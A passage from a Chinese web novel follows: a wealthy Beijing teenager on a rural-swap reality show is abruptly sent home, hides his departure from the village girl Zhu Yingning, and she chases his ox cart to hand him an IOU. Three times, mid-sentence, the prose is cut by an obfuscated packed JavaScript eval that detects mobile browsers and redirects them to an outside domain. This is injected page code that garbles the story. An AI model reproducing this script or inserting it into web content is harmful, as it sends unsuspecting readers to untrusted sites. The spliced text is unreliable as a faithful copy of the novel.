他们在屋外说了一会儿话,祝婴宁本来不以为意,但偶然一个转头,却看到门外的摄影师下巴像脱臼一样,随着杨吉的话哗啦啦往下掉,嘴巴张得像个黑洞。她不解其意,皱了皱眉,对许思睿说:“你还是出去看看吧,感觉杨叔有要紧的事和你说。” “他能有什么要紧的事?” 话是这么说,但许思睿还是放下那瓣大蒜,转身走了出去。 见他出来,门外二人的谈话自发暂停,杨吉看向他,面色黑如锅底。 “我没得罪你吧?”许思睿纳闷极了,单手掐着腰,甩了甩刚刚剥蒜的那只手——那上面还残留着一点蒜汁的湿意,“你摆这脸色干嘛呢?”他随口问。 杨吉终于开口了,冷硬道:“你父母给了我二十万。” “啊?”虽然挺疑惑他爸妈怎么忽然这么想不开给杨吉砸钱,但优渥的家境还是让他下意识脱口道,“给就给呗。” “——作为违约金。”杨吉深吸一口气,补充。 “违约金?”这下许思睿是真愣了,“谁违约了?我?我爸妈?还是祝吉祥?为什么要给你违约金?” “我比你更想知道发生了什么。”杨吉冷笑着说,“他妈的,我做节目这么久,还是头一回见到这样的!他们什么都没解释,给了违约金,让你明天晚上就回家。许思睿,你不是一直想回去吗?行啊,你自由了。操!” 许思睿整个人僵在原地。 ** 两分钟后,他同手同脚走回厨房里,想要拿起刚刚那瓣没剥完的蒜继续剥,却直着眼睛抓了个空。祝婴宁不解地瞥向他,一边炒菜一边解释:“我剥完了炒进来了,你刚刚和杨叔说了什么?”说完看他一副灵魂出窍的模样,预感到事情可能不大好,小心翼翼问道,“……你还好吧?” “没事儿。”他机械地回了句,手掌撑在灶台边缘,仍沉浸在这个突然的消息里回不过神。 祝婴宁越看越觉得不对,默默将炒菜的锅铲放下了,把沾了油污的手在围裙上抹了抹,朝外头走去:“我去问问杨叔。” “欸!”许思睿赶紧叫住了她。 不知道为什么,他下意识想要先向她隐瞒这件事,于是漫无边际扯谎:“真没什么,只是……呃……杨吉说我家里的宠物狗死了。”其实他家别说养狗了,连盆花都没有,周天澜养什么死什么,有这种辣手催一切的自知之明,所以没去祸害任何动物。 “啊?!”虽然第一次听说他家还有养狗,但祝婴宁还是蹙起眉头,表达出了共情,“怎么会这样?是得了病吗?” “呃,是吧。” “吧?” “就是……反正我也不太清楚,也可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616764|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是寿终正寝,我们家狗比较老了。” “这样啊。”她弯下眉毛,轻柔地在他背后拍了拍,“那你也别太难过了许思睿,寿终正寝在我们这叫喜丧,它会去到好地方的。” 许思睿被她安慰得既心虚又愧疚,胡乱点了点头,眼神错开。 而祝婴宁显然对他这个解释深信不疑,觉得不好再去杨吉那打听这种悲伤的事,于是转身走回了灶台,继续拿起锅铲炒菜,还时不时拿眼尾的余光瞄他,一副想要安慰他又不知道如何开口的样子。 他心乱如麻,在灶台边站了一会儿,实在扛不住她那种关怀的眼神,只好说:“我出去走走透透气。” “哦哦,你去吧。”她关怀地目送他的背影。 许思睿就这样魂不守舍晃了出去。 一直走到村口那棵大树下,他才慢半拍意识到一件事—— 他究竟在心乱如麻魂不守舍些什么? 回家不是他来这第一天就期待不已的事吗?就这个破山沟,夏天连个空调都没有,厕所是旱厕,睡觉所有人都得挤在一张炕上,没有任何现代交通工具,上个学都得步行五公里,学校那么破那么小,小学生初中生挤在同栋楼里,更别说网吧网络了,连打电话都没信号。还有发廊,把他头发理成那样!现在终于能摆脱这么个鬼地方了,他不得笑逐颜开心花怒放才对吗?为什么现在却这么烦躁? 许思睿蹲在那块熟悉的石头上出神了很久,最后得出一个结论—— 是因为太突兀了。 这个消息来得太突兀了。 没有任何铺垫,更谈不上缓冲,就这么咚的一声砸下来,虽然是个好消息吧……但冷不丁这么砸人头上,也是会把人给砸懵的。 他现在就是典型的被砸懵了,就像范进中举一样,没激动到口吐白沫倒地抽搐都不错了,至于喜悦,那得等他慢慢缓过劲儿来了才能体会到。 没错,事实就是如此。 推断出事实以后,他才啪的一声拍死了一只停在自己胳膊上吸血的蚊子,拖着沉重的脚步回到了祝婴宁家。 她已经把饭菜都做好了,房子中央的竹席上,那张熟悉且破烂的四角矮桌已经被刘桂芳打了出来,刘桂芳摆着菜,祝婴宁则照旧加了汤水在米饭里,拿把勺子把米饭捣软捣烂,等着待会去喂她的奶奶。白炽灯灯泡将这间拥挤简陋的房子照得亮堂堂又似笼罩一层薄雾。 这幅曾经被他狠狠嫌弃后来却慢慢看习惯了的场景,此时此刻竟然让他有点心酸。 他盘腿坐在矮桌旁,看着自己的碗。 “吃啊,多吃点。”刘桂芳照旧是把腊肉都推到了他面前。 许思睿嗯了一声,端起碗筷,缓缓往嘴里扒饭。 身后响起祝婴宁哄奶奶吃饭的声音,老太太有时很难伺候,非闹着要听笑话才肯吃。祝婴宁只好用方言翻来覆去讲那几个已经被她讲烂——但由于阿兹海默症,老太太从来记不住的笑话。 一切都和平常没有任何区别,甚至摄影师也蹲在旁边安静拍摄。许思睿知道这大概是杨吉打算榨取他最后一滴价值,把他离别的反应也拍摄进去。 他咀嚼着嘴里的饭,直到唾液将淀粉转化为葡萄糖,在他口腔里滋出一股甜味。 46. 暴雨 吃完晚饭,祝婴宁把碗筷一收,问许思睿:“你要先去洗澡吗?” 他呆笨地反问:“什么?” “我说,你要先去洗澡吗?” “哦,我都行。” “那你去洗吧,厨房里还有一锅热水。” 许思睿点点头,径直走去厨房,等走进厨房里,他忽然又忘了自己是进来做什么的,站在原地愣了楞,最后又两手空空地走出去了。 厨房外的祝婴宁纳闷地看向他:“怎么了,不是说要洗澡吗?” “哦哦。” 他恍然大悟,点点头,又走了回去,只剩祝婴宁在外头拧着眉担忧地看着他的背影,心里一阵唏嘘——没想到许思睿竟然这么爱他家里那只去世的宠物狗,瞧,这都伤心到精神恍惚了。 她站在原地思索了一会儿,转身朝澄澄家走去。 ** 许思睿洗完澡出来,正擦着头发打算往屋里走,就看到祝婴宁蹲在门口地上,面前摆放一个烧纸钱用的桶,左手拿着一沓纸钱,右手握着支打火机。他不解道:“你在干嘛?” 听到他的声音,她偏过头,朝他招了招手。 他满脸疑惑,但还是蹲到了她身边。 祝婴宁把手里的纸钱分了他几张,有点不好意思地说:“我问了村里的人,大家都说没有专门烧给宠物的纸钱,所以我就找他们要了点烧给人的纸钱,我猜这些纸钱宠物应该也能用。你给你家狗烧点纸钱,跟它说几句好话,让它叼着这些钱去吃香的喝辣的,有你这么关心它,它在那边一定会过得很好的。” “……” 许思睿瞬间梗住了,张口,几度欲言又止,最终只是眼神复杂地瞥向她。 “拿着啊。”她不解其意,把手里分给他的纸钱又往前送了送,轻声开口,示意他快点拿好。 无奈,他只能伸手接了过来。 接下来发生的一切就像鞭子在反复抽打他的良心,他眼睁睁看着祝婴宁把纸钱点燃投进铁桶里,双手合十,双眼紧闭,嘴里滔滔不绝念起往生的悼词,表情虔诚得仿佛去世的不是一只对她来说完全陌生的宠物狗,而是一个相识多年的朋友。 “那个……” 许思睿举了举手,试图打断她。 她将眼睛掀开一道缝,催促道:“你也快点烧呀,你是主人,你说的话更管用。” 涌到嘴边的真相又被他咽了回去,他点点头,艰难地对着不存在的狗狗念诵寄语。 等把祝福的话磕磕绊绊说完,他觉得自己不仅有神经病,还已经病入膏肓,而他旁边这位更是傻透了,他们两个简直是世界上最纯正的傻瓜。 傻瓜本人毫无自觉,把火熄灭,拍了拍手站起来,一脸完成了大事的骄傲,对他说:“许思睿,纸钱已经烧了,你不许再伤心了,你再伤心,喜丧就变成悲丧了。” “……嗯。” 他喉结滚动,微微垂下眼帘。 ** 第二天去上学,许思睿本来打算找个合适的时机将他要离开的事和盘托出,但他酝酿了一整天,从上午酝酿到中午,又从中午酝酿到下午,酝酿到诗朗诵排练都开始了,也没酝酿出个究竟。 怎样算合适的时机? 他想不明白。 只是每次对上祝婴宁黑白分明的眼睛,他就觉得一切时机都不合适,一切时机都烂透了。 经过了昨天放学那场排练,今天排练时,参加朗诵的同学大多找到了朗诵的要领,那种气壮山河的嘶吼没再出现了,取而代之的是恰到好处的惆怅与柔情。许思睿巴不得他们能像昨天那样再吼一吼,今天这种恰当的读法反而搅得他心烦意乱。 年轻的声音本身就是一首诗,混着空气中浮动的细小尘埃,窗外阴云密布,将时空定格成一帧旧画。 他听到他们读—— 山风拂发/拂颈/拂裸露的肩膀 而月光衣我以华裳 月光衣我以华裳 林间有新绿似我青春模样 青春透明如醇酒/可饮/可尽/可别离 …… 悲哀粉碎/化作无数音容笑貌 在四月的夜里/袭我以郁香 袭我以次次春回的怅惘 ** “大家今天读得非常好!我们冲击冠军指日可待了!” 排练结束,祝婴宁照旧站在讲台上总结今日排练成效,顺带老气横秋激情昂扬地发表一通正能量鼓励。 等学生们陆陆续续收拾好书包离开,她才锁上教室,把钥匙放在窗格下,对旁边发呆的许思睿说:“走,我们回家吧。” 许思睿拖着脚步默默跟了过去。 杨吉说接他的车大概晚上八|九点会来,现在已经六点多了,再不说,就真的只能等车来了才能说。他深吸一口气,觉得拖到那个时候才说未免太不厚道,于是走到校门外时,匆促地在心里过了遍语言,开口道:“祝婴宁,我有件事必须告诉你……” 话还没说完,一道闪电从天际窜过,将旁边昏暗的山色燃亮,接着轰隆一声巨响,在他们茫然对视时,哗啦啦啦—— 暴雨倾盆。 许思睿的嘴巴还维持着半张不张的姿势,直到嘴里尝到雨水,才反应过来,大声骂了起来:“我操!我真服了……这天气有病吧!” 在他们身后拍摄的摄影师出门前忘了给摄像机做防水措施,在雨水降落前一秒,他已经迅速将相机藏到了自己衣服内,哇啦啦怪叫着冲回了教学楼,徒留他们两个站在原地。 许思睿抬手挡住自己的脑袋——尽管这个动作在暴雨面前没起到任何作用——拔腿往远处冲。他也想去避雨,但又不知道这阵雨什么时候能停,怕耽误了航班,只能安慰自己湿都湿了,干脆就这样冲回家得了。 祝婴宁本来也想随着摄影师回教学楼避雨,余光却瞥见许思睿往反方向跑,她目瞪口呆,震惊道:“许思睿,你往哪跑?回学校避雨啊!” “别管我了!”解释起来太麻烦,许思睿只能边往前跑边喊,“你自己去避雨吧!” 祝婴宁当然不可能丢下他自己去避雨,她很快追了上去,想要开口问他怎么回事,怎么下雨都不晓得找个地方躲躲,嘴巴却被雨水冲得张不开,只好紧紧抿住唇线,跟在他旁边往家的方向狂奔。 他俩一连跑出 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“你们这山洞还真多。”许思睿一边说一边手脚并用朝里面爬。爬到山洞里了,他才发现这个山洞不像祝婴宁那个秘密山洞那般整洁,这个山洞看起来很原始,里面有不少乌黑的泥土、腐烂的树枝和草叶。 他胳膊上起了层鸡皮疙瘩:“这里面不会有蛇吧?” 祝婴宁在他身后推了推他的背部,示意他往里面爬点,方便她也进去:“有也没事,我们这的蛇基本没毒。” “我还是觉得心里毛毛的……”他被她推着,不得不又往里面移动了几公分。 她无奈地轻笑一声:“有的话我抓走行了吧?” “你还能徒手抓蛇啊?”他转过身,蜷缩着坐下来。虽然他已经目睹过祝婴宁的箭术,但徒手抓蛇听起来还是令人难以置信。 “有工具当然更好,那种蛇叉。不过只要胆子够大,徒手也不是不行。”她也跟着蜷缩起来。 这个山洞很小,既窄又浅,呈长条状,许思睿在里面,祝婴宁在外面,为了不淋到雨,他们的大腿几乎挨在一起。刚刚忙着担心洞里有没有蛇,许思睿还没察觉,现在静下来了,他能明显感觉到一种与自己迥异的体温和肌肤触感隔着两层薄薄的夏季布料从他们相贴的部位传来。他迅速扫了她一眼,找话道:“你是不是没有怕的东西?” “怎么可能。”她也察觉到了腿部的异样,但又不想表现得太在意这件事,于是努力把注意力放到了他的问题上,“只要是人都会有怕的东西吧。” “哦……那你怕什么?”他情不自禁动了动大腿,本意是想把腿收回来点,但他们贴得太紧,呈现出来的效果更像是主动拿腿摩擦她。他心里暗骂一声,耳根泛红,尴尬地停下了。 祝婴宁根本不敢侧头看他,只能盯着山洞的洞壁,干巴巴道:“害怕不能读书。” 这回答让他下意识朝她看了一眼。 不看还不打紧,看了以后他才发现她的耳根竟然也微微泛红。 ……操。 许思睿咬咬牙,赶紧把视线收了回来。 可狭小的山洞里,一旦停止讲话,就像陷入了密闭的摇篮,其余所有声音都会被放大。 比如呼吸声。 比如心跳声。 47. 悄然离去 许思睿自认为是一个不怎么担心冷场的人,因为他经常用惊人的言行让别人冷场,但现在的这种冷场不同于以往他主动造成的那些,缄默成了柴垛,将小小的山洞熏出焦灼热气,此起彼伏的呼吸声和心跳声就像空气中随时都有可能引爆的电花,他有种蒸桑拿过度的眩晕感,盯着对面的穴壁发了很久呆,绞尽脑汁搜刮话题,想把气氛扭转一下,大脑却像锈死一般空茫茫的。 他稍稍偏过视线,看到祝婴宁在他身边蜷缩成一小团,呼吸刻意放得轻缓,和他一样盯着洞穴内壁发呆。她的头发还在往下滴水,肩膀瘦削,纤薄且质量有限的夏季校服被雨水浸透,透出了里面白色小背心的肩带,他心里暗骂一声,立刻下移目光,将视线从那个微妙的部位别开。 这么一别,好死不死,他忽然发现他们的手也离得很近。 虽然不至于触碰到,但是…… 只要他想,轻轻一抬手就可以把她的手包住。 和他修长白皙而且一看就十指不沾阳春水的手不同,她的手虽然比他小了一大圈,却更有力量感,指甲修剪得整整齐齐,骨节分明,手背上显出淡淡的青蓝色筋络,像从天空向下俯瞰时看到的纵横交错的水系图,积蓄着巨大又温厚的生命力。在他的刻板印象里,女孩的手应该都像男性向小说里写的那样细腻柔软,很显然,祝婴宁的手和“柔荑”这种形容词完全不搭边,可不知道为什么,他心里却产生了一种从未产生的冲动,他想知道这样温厚的水系触摸起来是否像它表面上彰显的那样充满生命的脉动。 大脑一片混沌,他屏住呼吸,慢慢抬起了僵硬的手指。 啪嗒。 余光里骤然窜过一片阴影。 许思睿本就做贼心思,被这样一吓,魂魄都差点没吓飞,立刻把手蜷了回来,杯弓蛇影地问:“什、什么东西?!蛇?” 祝婴宁指着面前的夹隙:“青蛙。” 一只绿油油的,长得非常标准的青蛙停在穴壁与地面的交界处,停顿几秒,又啪嗒一声跳远了。 被这么一打岔,就算再借给许思睿十个胆子他也不敢再重复刚才的事了,只能默默假装无事发生,心里却万马奔腾。迟来的理智凌迟着他的神经,他觉得自己刚刚一定是疯了。 他一直很清楚他家和祝婴宁家差距有多大,说得难听点,祝婴宁的爸爸连给他们家公司当保安都不够格。许思睿有一种大城市精英阶层熏陶出来的不自觉的精明,他从小就清楚哪些人值得结交,哪些人不值得浪费时间,他会用家世将人切分成一个个小团体,在自己的人际网里排列组合。而毫无疑问,在初来乍到这个山村时,他就知道这里的一切只是他循规蹈矩的精英生涯里一个很快就会被抛掷和遗忘的碎片,这里的所有人无疑只是他人生的过客。 离开了这里,他还能记得祝婴宁多久呢? 一个月,三个月,半年,还是一年? 城市的繁华足以将一个山村女孩湮没,包括她曾经带给他的所有感触与悲欢。 但是—— 但是。 他盯着这个完全和浪漫绝缘的山洞,看着那只青蛙待过的夹隙里细碎的青苔,心里却忽然想起一首诗。那是他在她那本摘录了比赛诗歌的本子里偶然瞥到的。 白日不到处,青春恰自来。 苔花如米小,也学牡丹开。 “喂,祝婴宁。”他轻声开口。 她困惑地朝他瞥来。 “你记忆力好吗?” 祝婴宁不知道他为什么这样问,但她还是习惯性认真思索了一下,斟酌道:“还行?” “那我随机念出一串数字,你复述给我听。”他说完就报出了一串九位数数字。 “这有什么难的呀?”她笑起来,把那串数字如实复述完,说,“你要是想考我,不如问问课本上的古文,我已经把今天教的《送东阳马生序》背下来了……欸?雨停了,你看!许思睿。”她说到一半,兴奋地指着山洞外。 山洞外的水汽折射出了一条迷你彩虹。 七种颜色拧在一起,像一场短暂的幻梦。 ** 回到祝家村,村门口熙熙攘攘围着许多人。许思睿本来还自恋地以为是村民从摄制组那听说自己要走了,自发出来给他送行的,结果走近一看,才发现是刚刚的暴雨把村口地势低的一户人家淹了,大家正在帮那户人家抢救家私和排水。 这种场面祝婴宁当然不会坐视不管,她挽起裤腿走上前,对他说:“你先回家吧,我帮完他们就回去。” “嗯。”他看着她的背影,看了很久才转头往她家走。 祝婴宁家里,刘桂芳已经听说了他要走的事,坐在炕沿,一副想说什么又不敢说的样子,问:“真的要走了吗?怎么这么突然?你瞧,阿姨一点心理准备都没有……” 许思睿没说什么,只是快速收拾起自己的行李,首先被撤走的当然是炕上不伦不类的三八线,搬走那堆衣服时,他有些哭笑不得。 接着才是他的手机以及其他日用品。 他收拾的时候,刘桂芳便低眉顺眼在旁边看着,直到他快要收拾完了,才下定决心般开口,结结巴巴道:“那……那我们家吉祥是不是也要回来了?我听摄制组说,我们家吉祥明天就会坐飞机回来。那个……思睿啊,你看,你能不能和你爸妈商量下,让他继续在你们家拍摄到节目结束呢?我们家吉祥本来就得在你们家待到节目结束的,是你父母忽然间违了约……” 不等许思睿回答,她就像怕他生气似的,立刻又找补道,“阿姨不是说要怪你们,只是……只是我们也得讲点那种……那种……契约精神!对对,契约精神!是吧?要让我们家吉祥提前回来,也可以,但……就是说,能不能让你爸妈在那边给我们家吉祥安排个学位,让他以后就住在你们家,在你们城里读书咧?” 要是刚来这里的时候听到这番不要脸的话,许思睿绝对会当场呕吐,但他现在已经很久了解刘桂芳的为人了,再加上即将离开这里,撕破脸也没关系,闻言他冷笑了一声,一点面子都不给地答:“不能。”拒绝完将行李箱拉链一拉,撕拉一声,拉链合上的声音透出一股略带鄙夷的干脆。 刘桂芳没想到许思睿会拒绝得这么直接,脸色霎时既难堪又软弱又掺杂着几分不悦,嗫嚅了一会儿,骤然蹦出一句:“亏我们宁宁待你这么好,我看她是在瞎忙活,好心做了驴肝肺……” “我操!”许思睿没想到她居然有脸拿祝婴宁说事儿,而且拿祝婴宁说事儿居然是为了给祝吉祥的前程筹谋,眼珠都差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645410|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪出来,大步跨到她面前,阴着脸,居高临下地说,“你要不要脸?要不要看在她的面子上,我来你们这第一天就把你们这炸了,傻*!你算个什么东西,你儿子又算个什么东西?”说完拉着行李箱的拉杆,转身便要离开。 怒气冲冲走到祝婴宁家门口,看到村口那祝婴宁踩在洪水里和其他人一起搬运家具的场面,他心里忽然堵得很难受。 她的真诚,她的善良,她的侠义,在她妈妈眼里却是博取蜗角虚名蝇头微利的道具。 他曾经真的相信以她的执着和能力,终有一日能走出深山,去到更辽阔的天地,可是现在,他又不确定了。原生家庭就像沼泽,平等地吞噬这里所有年轻鲜活的生命,尤其是女性。祝娟没能幸免,周丽没能幸免,而祝婴宁……她真的能从泥沼里挣出来吗? 许思睿深吸一口气,暂时松开行李拉杆,回到被他骂得直愣神的刘桂芳面前,从裤兜里摸出一个东西扔给她。 “拿去。”他沉声道,“别告诉祝婴宁我给了你这个。” ** 牛车已经备好了,这回借的不是祝婴宁家的牛车,而是村里另一户人家的牛车。 赶车的小孩坐在牛背上,嘴里叼着一串红的花心,含糊不清地用方言问他:“可以走了?” “走吧。” 牛车开始缓缓前行。许思睿把行李箱放在木板上,人则坐在行李箱上,手臂搭着膝盖,看向越来越远的祝家村和村口越来越远的村民,包括混杂在中间——正拿着把铁锹忙活着帮淹水那户人家凿出排水沟的祝婴宁。 他到现在都没有告诉她他要走了。 很难说清这种心情,他想来想去,发现自己就是不想和她当面告别,不想和她互道再见。 肉麻兮兮的。 反正……就这样吧。 安安静静地走也挺好的。 他想象了一下祝婴宁回到她自己家,发现他已经凭空消失了的画面,莫名有些想笑。他甚至能想象出来她那个目瞪口呆的神情,肯定蠢死了。 但许思睿显然又预估错了祝婴宁的反应。他忘了当他俩针对某件事产生分歧时,他从来没有一次是能拗得过她的,比如升旗手,比如篮球赛,比如诗朗诵,比如此时此刻的分离。 当牛车以一种不紧不慢的速度跑出四五里后,他猛然间听到了祝婴宁气壮山河的声音:“许思睿!!” “哦豁。”赶车的小孩回头看了一眼,“宁宁姐追来了。” 许思睿震惊地回头瞪向牛车后方,果不其然看到她从路的尽头杀了出来,气势堪比导弹发射。 “你为什么不告诉我你要走了!?”她一边跑一边很难理解地皱起眉,脸上满是困惑,“你太过分了!哪有这样偷偷摸摸走掉的?你先下来!” “靠……”许思睿脊背一凉,深感现在停车会被她生剥一层皮,于是赶紧催促牛背上的小孩,“快快快,快跑!” 小孩淡定地说:“已经在跑了。” “跑得再快点啊!” “你放弃吧。”小孩老气横秋地摇摇头,“牛车是跑不过宁宁姐的。” 许思睿目瞪口呆。 他总算领会到了周丽那天被祝婴宁追车拦下是什么感受了,这人完全就是个疯子啊! 48. 神秘数字 像小孩说的那样,没过多久,祝婴宁就撵上了牛车,但她毕竟连追了四五里地,体力眼看着要见底了,追上没多久又被牛车甩了在后头,接着便不断循环“与牛车齐平”“被牛车甩在后头”这个过程,像4399网页赛跑游戏里时而超前时而落后的小人。 许思睿本来还担心她跳上牛车来把他杀了,看她跑得这么辛苦,那点担心顿时转为哭笑不得:“不是……你至于吗祝婴宁?” “你、你让车停下来。”她大喘气着说。 许思睿轻轻哼了一声:“不要。” “为什么?!为什么啊许思睿?!” “为什么要停下来?”他别别扭扭地说,“你要是想告别,现在也是一样的,再见再见,有缘再见,千里有缘来相会,行了吧?” “?” 她露出一种很想用脏话痛骂他又迫于素质只能硬生生忍住的神情,咬咬牙,勉强追在牛车后,气喘吁吁地说,“我……我让你把车停下来是因为有东西要给你!你把东西落在我们家了!” “有吗?”许思睿纳闷地看了看自己屁股下的行李箱,仔细回想片刻,没想出有什么落下的,转眼去看祝婴宁,她身上也不像携带着什么肉眼可见的物品,于是他狐疑地蹙起眉尖,怀疑是她让车停下方便殴打他的借口,遂谨慎道,“你要是有什么东西想给我,这样给也是一样的。”说着便伸长了手臂,手掌朝上摊开,很欠揍地朝她勾了勾食指。 祝婴宁毫无办法可想,只能继续气喘吁吁断断续续地说:“那你接好了!我、我是真的快跑不动了……” “接着呢接着呢,拿来吧。”他乐道。 她努力伸长手臂去够他的手掌,在彻底脱力之前,狠狠在他手心拍了一下。 许思睿迅速握住拳,感受到手心里似乎有张纸条。 而交接完这张纸条,她彻底没了力气,慢慢停了下来,扶着膝盖面朝地面大口大口喘气。肺部疼得像要爆炸,每次吸气都像几千根针在扎她的肺泡,她累得头晕眼花,甚至连抬头看一眼牛车都没办法,更遑论说话,只能虚弱地抬了抬手,权且当作告别。 一直到完全看不见她的身影了,许思睿才摊开手掌,盯着手心那张纸条。 ……纸条。 他实在不想表现得太过自恋,但是在他有限的十几年人生里,一切和纸条——尤其是异性给他的纸条——相关的东西,毫无例外都指向告白。更何况离别的场景太适合说些平时不敢说的真心话,会有这样的推断,他觉得合情合理。 她该不会在里面写了什么“我喜欢你”之类的话吧? 许思睿一边觉得这猜想过于荒谬离奇,一边却控制不住地心跳加速起来。他打量着这张折叠起来的纸条,做了很久的心理建设,才鼓起勇气,慢慢将它揭开。 然后—— 他看到上面一板一眼写着: 祝婴宁欠许思睿羽绒服钱三百元,利息未定,以此欠条为据,将于2012年1月1日之前连本带利还清。 “……” 是她当时写给他的羽绒服欠条,他忘记带走了。 ……也就是说,她特意追了这么远,仅仅只是为了把这玩意儿给他。 许思睿死死咬着后槽牙,眼神喷火,盯着这张莫名其妙到极点的纸条,表情瞬间从隐秘的期待破碎为便秘般的青黑,直到几分钟后,才从极度的无语中回过神来,由内而外产生了一股无语到想笑的冲动。 这股笑意不仅仅针对她,还针对他自己,他觉得他在祝婴宁面前实在是傻透了,她总能用这种一本正经的好笑一次又一次地打败他。 他好像总是拿她没办法。 勉强忍了几秒,许思睿还是没忍住,头埋在膝盖上哈哈爆笑起来,把赶车的小孩吓了一跳,回头问他:“你没事儿吧?” 他朝后挥了挥手,表示没事,肩膀却仍在剧烈耸动,笑得眼泪都差点飙出来。 埋在膝间笑了很久,直到腹部传来熟悉的抽痛感,他才慢慢抬起头,用五指撩开额前笑到汗湿的碎发,嘴角仍然勾着上翘的弧度,手指收起来,紧攥那张纸条,放眼望向远方重重叠叠的苍茫的山影,无奈地从胸腔里低叹了一声。 ** 离别是一件很玄妙的事,来得太快便难以产生实感,一直到走回家里了,祝婴宁都觉得头脑晕乎乎的,整个人如处梦中。 她完全没来得及产生任何悲伤或不舍,只觉得突兀。 家里一切如常,杨吉的摄影团队暂时没撤走,因为他们还需要留下来拍摄明天祝吉祥回家的场景。骤然少了一个人,说冷清吧,确实有点冷清,但真要说冷清到难以接受的地步,好像也没有。 她是从什么时候才慢慢察觉到他走了的事实呢?祝婴宁认为是从夜晚睡觉时开始。 因为三八线不见了。 那堆幼稚得不得了,曾经挤占了她的睡觉空间,被她在心里狠狠嘲笑过的衣服山,现在消失了。她的睡觉空间变得很大很空,晚上盖着被子往旁边一瞅,甚至觉得空得有些吓人。 她在炕上翻来覆去了许久才勉强睡着。 第二天早上起来,这种不适应的感觉变得越发强烈。刷牙时再也没人蹲在她身边,走去学校上学时也没有人在她耳边嘤嘤嗡嗡说些气人的话,这段在她眼里从不显得漫长的上学路,第一次漫长到枯燥乏味起来。 她来到学校,一看到许思睿坐过的座位,心里瞬间更不好受了。虽然知道他只是回了家,和祝娟周丽这种被迫前往城市的不同,他在北京有足以遮风避雨的房子,有便捷的基础设施,有良好的教育资源,有爱他的父母,有喜欢他的同学,他回北京是去享福,又不是去受刑的,但她还是难免伤心失落,连早读领读都领得有气无力。 班上其他同学发现许思睿不见了,纷纷向她打听情况,她不得不把录制提前结束这件事重复了许多遍,最后还被陈斌叫到办公室里,细致地向他解释了一遍。 “这样啊。”陈斌叹了口气,推了推镜片,说,“这么突然,还挺可惜的,我本来都计划好在这学期结束给他办个欢送会,唉……也不知道我们这里有没有给他留下点美好的记忆。” 陈斌最后那句“也不知道我们这里有没有给他留下点美好的记忆”就像魔咒,整个上午都在祝婴宁脑海里回响。她越想越难过,越想越歉疚,因为,确实就像许思睿之前说过的那样,祝吉祥去到北京是去享福的,而他来到山里是来受苦的,他们这里除了空气质量好,哪哪都比不上北京,他在这里待的这短短的几个月,究竟有没有留下过美好的记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646784|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆? 她有让他发自内心感到开心过吗? ** 精神恍惚了一个上午,祝婴宁才向陈斌请了个假,按之前和刘桂芳商量好的那样回到家里,赶着牛车去镇上接祝吉祥。 刘桂芳大方地塞给她二十块,让她拿着这钱去镇上买点日用品,顺便买点吃的给祝吉祥和她自己补补,祝婴宁轻轻嗯了一声,恍惚地赶着牛车前往镇上。 她来得早,祝吉祥还没到,于是只能和摄影师大眼瞪小眼,无聊地在牛车上枯坐着。 相顾无言了老半天,摄影师开口道:“还别说,许思睿这么一走,感觉还挺不习惯的。” 祝婴宁深有同感地点了点头。 摄影师摇头嗤笑:“咱俩真是贱骨头,那小兔崽子到底有什么好怀念的。” 祝婴宁对此并不赞成,她发自内心觉得许思睿是个很好的人,就是好得不太明显,需要用心体会,但只要用心体会了,就能发现他有一颗柔软的心。 这样想来,他现在应该已经到家了吧?她要不要打个电话给他,问问他的情况?可是她又不知道他家的电话……而且,打过去以后能说什么?问他是否平安到家?这不是废话嘛。问他适不适应?他在自己家里有什么好适应的。仔细想想,根本没有可以自然启用的话题。 说起来,他们现在算朋友吗?许思睿有把她当朋友吗? 祝婴宁漫无目的地发散着思维,越想越感到不确定。 就在这时,昨天傍晚他在山洞随口说的那串数字浮上她的脑海,她一个激灵,瞬间清醒了,猛然间想到一个可能——这串号码会不会是他们家的电话号码?! ……不对。 她冷静下来,把号码仔细一回忆,沮丧地发现这串号码是九位数的,既不是手机号,也不是座机号。 所以它真的只是一串无意义的用来测试她记忆力的随机号码。 她叹了一口气。 正打算抬头看看祝吉祥来了没有,街道尽头的网吧便闯进了她的视线。 这个熟悉的场所导出被她忽略的另一种可能,她愣在原地,大脑迟缓运作,推测出另一种更接近真相的答案。 “啊。” 摄影师等得都快打瞌睡了,忽然听到祝婴宁梦呓般“啊”了一声,对他说:“我有点事要离开一下,很快就回来。” “行啊,你去吧,这里有我看着。” 于是祝婴宁晕头晕脑走进了网吧,整个过程她都像在梦游,直到她凭借记忆里许思睿教她的操作打开Q|Q,登录自己的Q|Q账号,在添加好友那一栏晕头晕脑输入了这串九位数号码。 